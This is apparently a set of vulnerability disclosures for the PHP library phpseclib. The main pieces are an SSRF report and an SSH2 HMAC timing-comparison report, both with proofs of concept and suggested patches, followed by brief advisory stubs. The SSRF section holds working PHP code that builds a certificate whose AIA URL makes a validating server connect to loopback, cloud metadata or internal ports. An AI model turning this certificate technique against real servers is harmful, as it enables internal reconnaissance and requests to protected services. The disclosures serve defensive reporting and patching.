Summary
When an application validates an untrusted X.509 certificate with phpseclib, X509::validateSignature() reads a URL out of that certificate's Authority Information Access (AIA) extension and connects to it. Attacker who supplies certificate fully controls host, port, and path of that connection. URL fetching is enabled by default, and no destination is blocked. An unauthenticated attacker can therefore make a validating server open connections to internal hosts and ports it should never reach, for example loopback 127.0.0.1, cloud metadata address 169.254.169.254, and internal-only services. This is a server-side request forgery (SSRF) caused by an insecure default. It is reproducible on current released LTS 3.0.53 and on 4.0 development line.
Details
When no already-trusted certificate authority is the issuer of certificate under validation, validateSignatureCountable() continues to AIA fetching. Default for validateSignature() is caonly = true:
// phpseclib/File/X509.php:1316-1327 (4.0 development line, commit 74ada1a6) if (!isset($signingCert)) { if ($caonly) { return $this->testForIntermediate(true, $count) && $this->validateSignature(true); } else { try { $this->testForSelfSigned(); $signingCert = $this; } catch (BadMethodCallException) { return $this->testForIntermediate(true, $count) && $this->validateSignature(true); } } }
testForIntermediate() takes URL straight out of certificate's AIA caIssuers field and fetches it. Value comes directly from certificate content and is never restricted:
// phpseclib/File/X509.php:1357-1391 (4.0 development line) $opts = $this->getExtension('id-pe-authorityInfoAccess'); ... foreach ($opts['extnValue'] as $opt) { if ($opt['accessMethod'] == 'id-ad-caIssuers') { if (isset($opt['accessLocation']['uniformResourceIdentifier'])) { $url = (string) $opt['accessLocation']['uniformResourceIdentifier']; // attacker controlled break; } } } ... $cert = static::fetchURL($url); // server-side request forgery
fetchURL() connects to attacker host and port. There is no destination validation: no block on loopback, link-local, private, or metadata ranges, and no port restriction:
// phpseclib/File/X509.php:1456-1476 (4.0 development line) private static function fetchURL(string $url): ?string { if (self::$disableurlfetch) { // default false, so fetching happens return null; } $parts = parseurl($url); switch ($parts['scheme']) { case 'http': $fsock = @fsockopen($parts['host'], $parts['port'] ?? 80); // attacker host and port ... fputs($fsock, "GET $path HTTP/1.0\r\n"); fputs($fsock, "Host: $parts[host]\r\n\r\n");
Fetching is on by default:
// phpseclib/File/X509.php:110 (4.0 development line) private static bool $disableurlfetch = false;
Same default-enabled logic exists in released 3.0.x. In 3.0.53 it sits at $disableurlfetch = false on line 255 and fsockopen($parts['host'], ...) on line 1136 of phpseclib/File/X509.php.
Why this is a vulnerability and not merely a feature. AIA chasing is a legitimate capability described by RFC 4325, and this report does not claim fetching is wrong in itself. Vulnerability is the combination of three properties that together match definition of SSRF:
1. URL comes from untrusted input. It is read out of certificate that an application is trying to validate, which is exactly the data an attacker controls. 2. Fetching is enabled by default. An integrator who simply calls validateSignature() gets outbound requests with no opt-in. Only control, X509::disableURLFetch(), is off by default, so secure behaviour requires knowing about and calling a method that most callers never see. 3. No destination is restricted. Loopback, private ranges, link-local metadata, and arbitrary ports are all reachable. Mature implementations of AIA fetching restrict destinations precisely to prevent this.
Reachability is not narrow. Fetch triggers whenever certificate's issuer is not already trusted, which an attacker arranges trivially by choosing any issuer name that is not in trust store. Having certificate authorities loaded does not protect a target: an attacker certificate that claims an unknown issuer still reaches testForIntermediate().
Response handling is blind. Fetched body is used only if it parses as a certificate, and is otherwise discarded, so an attacker does not directly read internal responses through this path. That limits confidentiality impact but does not remove request-forgery and reconnaissance capability.
PoC
Two reproductions follow: current released LTS 3.0.53, and 4.0 development line. Malicious certificate is plain PEM and is identical for both, since certificate format is the same across versions.
Build malicious certificate once (this uses 4.0 to build, but any tool that emits an X.509 certificate with an AIA caIssuers URL works):
composer require phpseclib/phpseclib:4.0.x-dev
php <?php require 'vendor/autoload.php';
use phpseclib4\Crypt\RSA; use phpseclib4\File\X509;
$url = 'http://127.0.0.1:19090/ssrf';
$key = RSA::createKey(2048)->withPadding(RSA::SIGNATUREPKCS1)->withHash('sha256'); $cert = new X509($key->getPublicKey()); $cert->addDNProp('id-at-commonName', 'attacker-leaf.example'); $cert->setEndDate('lifetime'); $cert->setExtension('id-pe-authorityInfoAccess', [ ['accessMethod' => 'id-ad-caIssuers', 'accessLocation' => ['uniformResourceIdentifier' => $url]], ]); $key->sign($cert); fileputcontents('attackercert.pem', (string) $cert);
Stand up a listener that represents an internal service on a port that is not otherwise reachable from outside:
php -r '$s=streamsocketserver("tcp://127.0.0.1:19090",$e,$m);$c=streamsocketaccept($s,20);echo fread($c,4096);'
Reproduction on released LTS 3.0.53. Install it and have an application validate certificate:
composer require phpseclib/phpseclib:~3.0.0
php <?php require 'vendor/autoload.php';
use phpseclib3\File\X509;
$v = new X509(); $v->loadX509(filegetcontents('attackercert.pem')); $v->validateSignature(); // connects to 127.0.0.1:19090 during validation
Reproduction on 4.0 development line. Same certificate, 4.0 namespace:
php <?php require 'vendor/autoload.php';
use phpseclib4\File\X509;
X509::clearCAStore(); // attacker cert issuer is not trusted $v = X509::load(filegetcontents('attackercert.pem')); $v->validateSignature(); // connects to 127.0.0.1:19090 during validation
Observed result, on both 3.0.53 and 4.0.x-dev. Listener receives a request whose host, port, and path all come from certificate, even though validateSignature() returns false:
GET /ssrf HTTP/1.0 Host: 127.0.0.1
This was also confirmed end to end over HTTP: an unauthenticated POST of certificate to an endpoint that calls loadX509() then validateSignature() makes server connect outbound to attacker-chosen 127.0.0.1:19090. Changing host and port in certificate reaches any internal address and port, for example 169.254.169.254 or 127.0.0.1:6379.
Negative control. With X509::disableURLFetch() set before validation, validation returns false and no outbound connection is made. This confirms both root cause and that default-on behaviour is the trigger.
Impact
This is a server-side request forgery (CWE-918) caused by an insecure default (CWE-276): URL fetching is enabled by default and applies no destination restrictions while acting on untrusted certificate content.
An application is affected when it validates an attacker-influenced certificate, which covers client-certificate checks implemented in PHP, S/MIME and CMS signer verification, document and code-signing validation, and any feature that verifies an uploaded or pasted certificate. No authentication and no user interaction are needed.
What an attacker gains:
- Internal reconnaissance and port scanning. Connection success or failure and timing reveal which internal hosts and ports respond. - Interaction with internal-only HTTP services such as admin panels, dashboards, and webhooks bound to loopback or private ranges. - Requests to cloud metadata endpoints such as 169.254.169.254, which answer plain HTTP GET on some providers.
Because fetch is blind, an attacker does not read internal response bodies through this path directly, so this is a request-forgery and reconnaissance primitive rather than direct disclosure of internal data. Any reflective sink elsewhere in an application, or any internal endpoint that performs an action on a GET, increases real impact.
Suggested fix, strongest first: default disableURLFetch to true so AIA chasing is opt-in; if it stays enabled, validate destinations inside fetchURL() by rejecting loopback, link-local, and private addresses and restricting ports, and add an egress policy callback similar to existing setCRLLookupCallback(); and state plainly in documentation that validating an untrusted certificate can cause outbound requests to URLs found inside that certificate.
phpseclib SSH2: Variable-time comparison in HMAC verification
Summary
phpseclib\Net\SSH2::getbinarypacket() uses PHP's != operator to compare a received SSH packet HMAC against the locally computed HMAC. != on equal-length binary strings in PHP uses memcmp(), which short-circuits on the first differing byte. This is a real variable-time comparison (CWE-208), proven by scaling benchmarks.
The finding is Low severity (defense-in-depth), not Critical. Practical exploitation over the network is prevented by SSH's disconnect-on-MAC-failure behavior combined with per-connection session keys. The fix is a one-liner: replace != with hashequals(), which the codebase already uses in 9 other places.
- Target: phpseclib/phpseclib - File: phpseclib/Net/SSH2.php - Lines (master e819a163c): 3405 and 3410 - CWE: CWE-208 (Observable Timing Discrepancy) - CVSS v3.1: 3.7 — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N - Severity: Low (cryptographic hygiene / defense-in-depth) - Affected branches: master, 3.0, 2.0, 1.0 (all supported versions)
Root cause
phpseclib/Net/SSH2.php lines 3399-3415 (master at e819a163c):
php if ($this->hmaccheck instanceof Hash) { $reconstructed = !$this->hmacchecketm ? pack('Na', $packet->packetlength, $packet->plain) : substr($packet->raw, 0, -$this->hmacsize); if (($this->hmaccheck->getHash() & "\xFF\xFF\xFF\xFF") == 'umac') { $this->hmaccheck->setNonce("\0\0\0\0" . pack('N', $this->getseqno)); if ($hmac != $this->hmaccheck->hash($reconstructed)) { // <-- line 3405 $this->disconnecthelper(DisconnectReason::MACERROR); throw new ConnectionClosedException('Invalid UMAC'); } } else { if ($hmac != $this->hmaccheck->hash(pack('Na', $this->getseqno, $reconstructed))) { // <-- line 3410 $this->disconnecthelper(DisconnectReason::MACERROR); throw new ConnectionClosedException('Invalid HMAC'); } } }
Both $hmac (read from the socket via Strings::pop($raw, $this->hmacsize) at line 3348) and the computed hash are equal-length binary strings. PHP's != operator on equal-length strings dispatches to zendbinarystrcmp() which internally calls memcmp(). Modern libc memcmp short-circuits on the first differing byte, producing a timing signal that scales linearly with the number of matching leading bytes.
The same bug exists on every supported branch
| Branch | File | Line(s) | Expression | |---|---|---|---| | master (@ e819a163c) | phpseclib/Net/SSH2.php | 3405, 3410 | $hmac != $this->hmaccheck->hash(...) | | 3.0 | phpseclib/Net/SSH2.php | 3741, 3746 | $hmac != $this->hmaccheck->hash(...) | | 2.0 | phpseclib/Net/SSH2.php | 3796 | $hmac != $this->hmaccheck->hash(...) | | 1.0 | phpseclib/Net/SSH2.php | 3810 | $hmac != $this->hmaccheck->hash(...) |
Verified with git show <branch>:phpseclib/Net/SSH2.php.
Reachability
The HMAC verification path at lines 3399-3415 is reached on every received SSH packet when the negotiated cipher is not AEAD — i.e., any of:
- aes128-cbc, aes192-cbc, aes256-cbc - aes128-ctr, aes192-ctr, aes256-ctr - 3des-cbc, 3des-ctr - blowfish-cbc, blowfish-ctr - twofish--cbc, twofish--ctr - arcfour, arcfour128, arcfour256
combined with any non-AEAD MAC (hmac-sha2-256, hmac-sha2-512, hmac-sha1, hmac-sha1-96, hmac-md5, hmac-md5-96, umac-64, umac-128, and their -etm variants — full list at getSupportedMACAlgorithms() around line 4754).
AEAD ciphers (aes128-gcm@openssh.com, aes256-gcm@openssh.com, chacha20-poly1305@openssh.com) go through a different path (lines 3353-3381) and do not reach the != comparison — their authentication tag is checked inside the AEAD implementation.
$this->hmaccheck is set during key exchange at SSH2.php:1812:
php if (!$this->decrypt->usesNonce()) { [$this->hmaccheck, $checkKeyLength] = self::macalgorithmtohashinstance($macalgorithmin); $this->hmacsize = $this->hmaccheck->getLengthInBytes(); }
So any SSH2 client session negotiating a non-AEAD cipher exercises the vulnerable code path starting from the first post-KEX packet.
Contrast with existing code that does the right thing
hashequals() is already used in 9 other places in the phpseclib codebase, proving the maintainer knows the pattern:
phpseclib/File/CMS/DigestedData.php:186 phpseclib/File/CMS/SignedData/Signer.php:294 phpseclib/File/CMS/SignedData/Signer.php:406 phpseclib/Crypt/Common/Formats/Keys/PuTTY.php:236 phpseclib/Crypt/RSA/PublicKey.php:98, 105, 188, 229 phpseclib/Crypt/RSA/PrivateKey.php:386
The SSH2 MAC comparison is the one place it was missed.
Proof of concept
All scripts under poc/. They prove three things: 1. PHP's != on equal-length binary strings IS variable-time and short-circuits. 2. hashequals() is constant-time over the same inputs. 3. Applied to 32-byte HMAC-SHA256 values as produced by phpseclib's Crypt\Hash class, the code path at SSH2.php:3405/3410 leaks ~2-14 ns of signal per comparison.
PoC 1: baseline measurement (poc/01verifyvariabletime.php)
Measures != vs hashequals() on 32-byte strings with first-byte vs last-byte mismatch. 500,000 iterations each, trimmed mean, Welch's t-test.
Representative output (PHP 8.3.6 on Linux x8664):
=== PHP != operator vs hashequals() on 32-byte strings === Iterations: 500000
!= first-byte mismatch: median=40 p25=40 p75=50 tmean=44.3 != last-byte mismatch: median=50 p25=40 p75=50 tmean=46.4 Gap (last - first): tmeandelta=2.1 ns
hashequals first-byte: median=110 tmean=112.7 hashequals last-byte: median=111 tmean=114.9 Gap (last - first): tmeandelta=2.2 ns
The 32-byte delta is small (~2 ns) and lives in the noise. This alone doesn't prove variable-time behavior. PoC 2 does.
PoC 2: scaling test (poc/02scalingtest.php)
The decisive test. If != is truly constant-time, timing should not depend on mismatch position. If it short-circuits, timing should scale linearly with prefix length. Test strings from 32 bytes to 4096 bytes.
Length 32 bytes: range (first-last byte mismatch) = 1.72 ns Length 64 bytes: range = 2.42 ns Length 128 bytes: range = 8.33 ns Length 256 bytes: range = 16.91 ns Length 512 bytes: range = 38.89 ns Length 1024 bytes: range = 81.16 ns Length 4096 bytes: range = 284.26 ns
This is monotone, linear scaling. Confirmed variable-time: != short-circuits. Per-byte delta ≈ 0.089 ns/byte (4096 bytes → ~284 ns → 284/4096 ≈ 0.069 ns/byte after accounting for the fixed call overhead).
PoC 3: contrast with hashequals() (poc/03hashequalsscaling.php)
Same test, != vs hashequals() on 1024-byte strings:
Mismatch pos | != tmean (ns) | hashequals tmean ---------------------------------------------------------------------- byte 0 | 83.72 (sd 4.79) | 873.78 (sd 100.71) byte 128 | 98.48 (sd 8.27) | 855.10 (sd 87.50) byte 256 | 103.36 (sd 7.01) | 869.21 (sd 89.61) byte 512 | 125.65 (sd 10.07) | 879.74 (sd 81.82) byte 768 | 145.73 (sd 9.96) | 848.59 (sd 84.34) byte 1023 | 175.33 (sd 14.31) | 852.24 (sd 85.81)
!= range (last - first): 91.62 ns hashequals range (last - first): 31.15 ns
!= monotonically increases with mismatch position. hashequals is flat; the 31 ns range is measurement jitter (sd ≈ 90 ns > range).
Per-byte delta from this run: 91.62 / 1023 ≈ 0.089 ns/byte. Extrapolated to 32-byte HMAC: ~2.86 ns total signal between first-byte-diff and last-byte-diff.
PoC 4: end-to-end with phpseclib's Hash class (poc/04phpseclibincontext.php)
Uses phpseclib4\Crypt\Hash (the exact class bound to $this->hmaccheck) to compute a real HMAC-SHA-256, then executes the exact expression $hmac != $this->hmaccheck->hash(...) from SSH2.php:3410:
Using != (SSH2.php:3405,3410 pattern): first-byte mismatch: 44.33 ns last-byte mismatch: 58.19 ns Δ (last - first): 13.86 ns <-- timing leak signal
Using hashequals() (the fix): first-byte mismatch: 113.67 ns last-byte mismatch: 112.93 ns Δ (last - first): -0.74 ns <-- should be flat (noise)
The 13.86 ns vs 2.86 ns variation between runs is within measurement variance — the signal is real and the sign matches every run (last > first for !=, flat for hashequals).
Impact
Severity: Low (defense-in-depth). This is a real CWE-208 instance, but it is not a practical remote vulnerability.
Why exploitation over the network is infeasible
1. Signal is tiny. ~3-14 ns per HMAC compare. Network RTT jitter on a reasonable LAN is 100 µs (100,000 ns). On the internet it is 1-10 ms. The signal-to-noise ratio for a remote observer is ~1e-5 to 1e-7.
2. One measurement per connection. On every MAC failure, SSH2.php:3406/3411 calls disconnecthelper(MACERROR) and throws. The connection is torn down. A reconnect goes through a fresh key exchange, producing a new HMAC key. The HMAC over a fresh key is uncorrelated with the prior HMAC. An attacker cannot accumulate prefix-matching information across connections because there is no fixed target.
3. MAC is over sequence-numbered data. Each packet's MAC input includes $this->getseqno (line 3410) or a nonce (line 3404). Even within a single connection, replays are impossible — every MAC is bound to a distinct seq number. There is no stable oracle to probe.
4. No adaptive probe. A Bleichenbacher/Lucky13-style attack needs tens of thousands of adaptive queries against a single secret. SSH's hard disconnect eliminates this primitive entirely.
5. Rough sample-count requirement. To distinguish a 3 ns signal from 1 ms jitter with high confidence you need roughly (noise / signal)^2 ≈ (1e6 / 3)^2 ≈ 1e11 independent samples. With one sample per connection (and each connection being against a fresh secret), this is unreachable on any practical scale.
What remains real
1. Cryptographic hygiene. A security library should not use non-constant-time comparison on MACs, period. That is standard practice (RFC 4634, NIST SP 800-131A guidance on cryptographic implementations). 2. Code correctness / API consistency. The library already uses hashequals() in 9 other comparable places. The SSH2 MAC path is inconsistent with the rest of the codebase. 3. Future-proofing. If PHP or the underlying memcmp() implementation changes, or if a future MAC algorithm uses longer digests, the signal grows linearly. A constant-time comparison eliminates the concern permanently. 4. Static analysis / audit hygiene. Cryptographic linters (e.g., GitHub CodeQL's js/timing-attack, phpcs-security-audit) flag non-constant-time comparisons on secret values. A clean codebase passes those checks.
CVSS breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N = 3.7 (Low)
- AV:N — network path, attacker on the SSH transport. - AC:H — extremely high complexity; remote exploitation is not demonstrated and is believed infeasible. - PR:N/UI:N — no prior auth or interaction needed to observe the timing (if there were any signal). - S:U — no scope change. - C:L / I:N / A:N — theoretical information exposure of MAC prefix bits only, no integrity or availability impact.
This is the same vector string used for CVE-2026-32935 (the recent AES-CBC padding oracle in the same library), differing only in Confidentiality (L vs H) because padding oracle actually recovers plaintext whereas this MAC timing does not enable any known plaintext recovery.
Fix
Two-line patch:
diff --- a/phpseclib/Net/SSH2.php +++ b/phpseclib/Net/SSH2.php @@ -3402,12 +3402,12 @@ class SSH2 substr($packet->raw, 0, -$this->hmacsize); if (($this->hmaccheck->getHash() & "\xFF\xFF\xFF\xFF") == 'umac') { $this->hmaccheck->setNonce("\0\0\0\0" . pack('N', $this->getseqno)); - if ($hmac != $this->hmaccheck->hash($reconstructed)) { + if (!hashequals($this->hmaccheck->hash($reconstructed), $hmac)) { $this->disconnecthelper(DisconnectReason::MACERROR); throw new ConnectionClosedException('Invalid UMAC'); } } else { - if ($hmac != $this->hmaccheck->hash(pack('Na', $this->getseqno, $reconstructed))) { + if (!hashequals($this->hmaccheck->hash(pack('Na', $this->getseqno, $reconstructed)), $hmac)) { $this->disconnecthelper(DisconnectReason::MACERROR); throw new ConnectionClosedException('Invalid HMAC'); }
The same one-liner should be applied to phpseclib/Net/SSH2.php on 3.0 (lines 3741, 3746), 2.0 (line 3796), and 1.0 (line 3810).
hashequals() is a built-in PHP function available since PHP 5.6. phpseclib's minimum PHP version for all supported branches is well above that, so there is no compatibility concern — and indeed, as noted, hashequals() is already used throughout the codebase for exactly this purpose.
PoC 5: prefix-position byte-recovery test (poc/05prefixpositiontest.php)
The critical question: can an attacker recover the MAC byte-by-byte? Tests candidate MACs with 0, 1, 2, ..., 31 correct leading bytes using phpseclib's Crypt\Hash class. 500,000 iterations per position.
0 correct prefix bytes: tmean= 65.75 ns sd= 4.89 ns 1 correct prefix bytes: tmean= 66.36 ns sd= 4.77 ns 2 correct prefix bytes: tmean= 60.06 ns sd= 5.29 ns 4 correct prefix bytes: tmean= 58.08 ns sd= 5.24 ns 8 correct prefix bytes: tmean= 66.93 ns sd= 4.60 ns 12 correct prefix bytes: tmean= 64.01 ns sd= 4.83 ns 16 correct prefix bytes: tmean= 61.81 ns sd= 5.55 ns 20 correct prefix bytes: tmean= 60.46 ns sd= 5.40 ns 24 correct prefix bytes: tmean= 60.53 ns sd= 4.06 ns 28 correct prefix bytes: tmean= 60.54 ns sd= 3.99 ns 31 correct prefix bytes: tmean= 59.04 ns sd= 3.96 ns
Range (0 prefix vs 31 prefix): -6.71 ns (NEGATIVE)
No monotonic signal. The range is negative (wrong direction for an oracle), and the standard deviations (4-5 ns) are larger than any observed position-dependent delta. Byte-by-byte MAC recovery is not feasible even locally on 32-byte HMACs.
This conclusively rules out the "timing oracle for MAC forgery" escalation path.
Escalation angles investigated and ruled out
9 rounds of external review suggested various escalation paths. Every one is dead:
| Angle | Result | Evidence | |---|---|---| | Byte-by-byte MAC recovery | Dead | PoC 5: no monotonic signal at 32 bytes (-6.71ns range, wrong sign) | | Persistent oracle (connection survives MAC failure) | Dead | disconnecthelper() + throw is unconditional (3406-3412); resetconnection() clears all state | | Sequence desync (Terrapin-style) | Dead | getseqno++ at 3469 is AFTER MAC check; failed MAC throws before increment | | SSHMSGIGNORE MAC bypass | Dead | All message types go through getbinarypacket() MAC check before filter() | | Memory exhaustion via packetlength | Dead | packetlength capped at 0x9000 (36KB) at line 3542 | | State machine abuse / fail-open | Dead | resetconnection() nulls socket, clears bitmap, all crypto state | | Protocol downgrade on MAC failure | Dead | Immediate disconnect, no fallback or renegotiation | | Padding oracle chain (Lucky13) | Dead | MAC check (3405) is BEFORE padding interpretation (3418) | | SFTP subsystem bypass | Dead | SFTP uses same SSH2 transport, same MAC verification | | BigInteger type confusion | Dead | Engine selected at construction, not per-packet | | Pre-auth reachability | Yes, but irrelevant | One guess per connection with fresh keys = no oracle |
Devil's advocate review
Every objection I could think of, addressed:
"This is just a code smell. Show me a real exploit." Acknowledged. The report does not claim remote exploitability. It is submitted as Low / defense-in-depth, consistent with how similar findings are treated in other cryptographic libraries (see e.g. OpenSSH commits replacing memcmp() with timingsafebcmp for similar reasons).
"PHP's != might not even short-circuit — you're just seeing noise." PoC 2 rules this out. Timing scales monotonically and nearly linearly with mismatch position across a 128x range of string lengths (32 bytes → 4096 bytes). That is not noise.
"SSH disconnects on MAC failure, so you only get one sample. Case closed." Correct, and the report says so explicitly. This is why the severity is Low rather than High.
"There is no adaptive probe because session keys rotate per connection." Correct, and the report says so explicitly. This is the primary reason the network attack is infeasible.
"Is this Lucky13-style? Does the MAC check happen after padding?" No. MAC verification at SSH2.php:3399-3414 runs BEFORE any padding interpretation. Padding length is only read at line 3418, strictly after the MAC check. There is no unpadding oracle here. (Lucky13 in phpseclib's AES-CBC decrypt path is a separate, already-fixed issue — CVE-2026-32935.)
"Maybe the getseqno or nonce path somehow enables forgery." No. The seq number is deterministic (incremented by one per packet) and the nonce (for UMAC) is derived from it. Neither is attacker-controlled in any useful sense. The MAC key is the secret, and it is per-connection.
"Is this already reported?" Searched published advisories (gh api repos/phpseclib/phpseclib/security-advisories). Only CVE-2026-32935 is published, for a different code path (AES-CBC padding oracle after MAC verification). The SSH2 MAC comparison issue is not covered by any published advisory. The fix commit for CVE-2026-32935 (ccc21aef71eb170e9bf819b167e67d1fd9e6e788) did not touch SSH2.php:3405 or :3410.
"Does the project's threat model even consider this in scope?" SECURITY.md says "To report a security vulnerability, please use the Tidelift security contact." It does not exclude timing side-channels. The maintainer has already fixed constant-time comparison issues in other parts of the library (RSA, OAEP, AES-CBC padding) and uses hashequals() in 9 other places. This issue is consistent with the maintainer's existing security posture, and the fix is trivial.
"Is the Low severity appropriate? Could it be informational?" Low is appropriate. "Informational" would be for something that is provably no-impact. This is a demonstrable CWE-208 instance on secret-dependent data. It scores 3.7 under CVSS v3.1 with AC:H and C:L. That is Low, not Informational. The recent CVE-2026-32935 is assigned for a timing-side-channel in the same file category and given CVSS 4.0 = 8.2 (their vector is more severe because padding oracle actually recovers plaintext). This one would score lower than that, which matches the Low designation.
"Would a maintainer just close this?" Unlikely. The fix is a one-liner, there is no behavioral change, it aligns with existing code style in the same codebase, and it silences future audit findings. The maintainer has a track record of accepting similar hardening patches. If they close it, the reason would likely be "we already know, not worth a CVE" — which would still leave the code fixed, which is the goal.
Suggested reporting path
GitHub PVR is enabled for phpseclib/phpseclib ({"enabled":true}). SECURITY.md says to use the Tidelift contact, but GitHub PVR is a reasonable alternative and lets the maintainer decide whether to coordinate with Tidelift. Either path is acceptable.
Given the Low severity, this could also be filed as a public pull request rather than a security advisory. That would be faster for everyone and avoids using the private disclosure channel for a hardening fix.
Files
- poc/01verifyvariabletime.php — baseline 32-byte timing measurement - poc/02scalingtest.php — decisive scaling test across string lengths - poc/03hashequalsscaling.php — != vs hashequals() comparison - poc/04phpseclibincontext.php — end-to-end repro using phpseclib's Crypt\Hash - notes.md — research notes, dead ends, escalation angles considered - prior-work.md — prior work search results - status.json — machine-readable status
Koda Reef
Impact Those using AES in CBC mode may be susceptible to a padding oracle timing attack.
Patches https://github.com/phpseclib/phpseclib/commit/ccc21aef71eb170e9bf819b167e67d1fd9e6e788
Workarounds Use AES in CTR, CFB or OFB modes
In phpseclib before 1.0.22, 2.x before 2.0.46, and 3.x before 3.0.33, some characters in Subject Alternative Name fields in TLS certificates are incorrectly allowed to have a special meaning in regular expressions (such as a + wildcard), leading to name confusion in X.509 certificate host verification.
Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-2528-jw5q-ww88. This link is maintained to preserve external references.
Original Description An issue was discovered in phpseclib 1.x before 1.0.23, 2.x before 2.0.47, and 3.x before 3.0.36. An attacker can construct a malformed certificate containing an extremely large prime to cause a denial of service (CPU consumption for an isPrime primality check). NOTE: this issue was introduced when attempting to fix CVE-2023-27560.
Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-f2qx-66wf-wvvx. This link is maintained to preserve external references.
Original Description An issue was discovered in phpseclib 1.x before 1.0.23, 2.x before 2.0.47, and 3.x before 3.0.36. When processing the ASN.1 object identifier of a certificate, a sub identifier may be provided that leads to a denial of service (CPU consumption for decodeOID).
Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-2f25-pfq3-c7h8. This link is maintained to preserve external references.
Original Description In Math/BinaryField.php in phpseclib 3 before 3.0.34, excessively large degrees in binary fields can lead to a denial of service.
Infinite Loop vulnerability
Improper Certificate Validation in phpseclib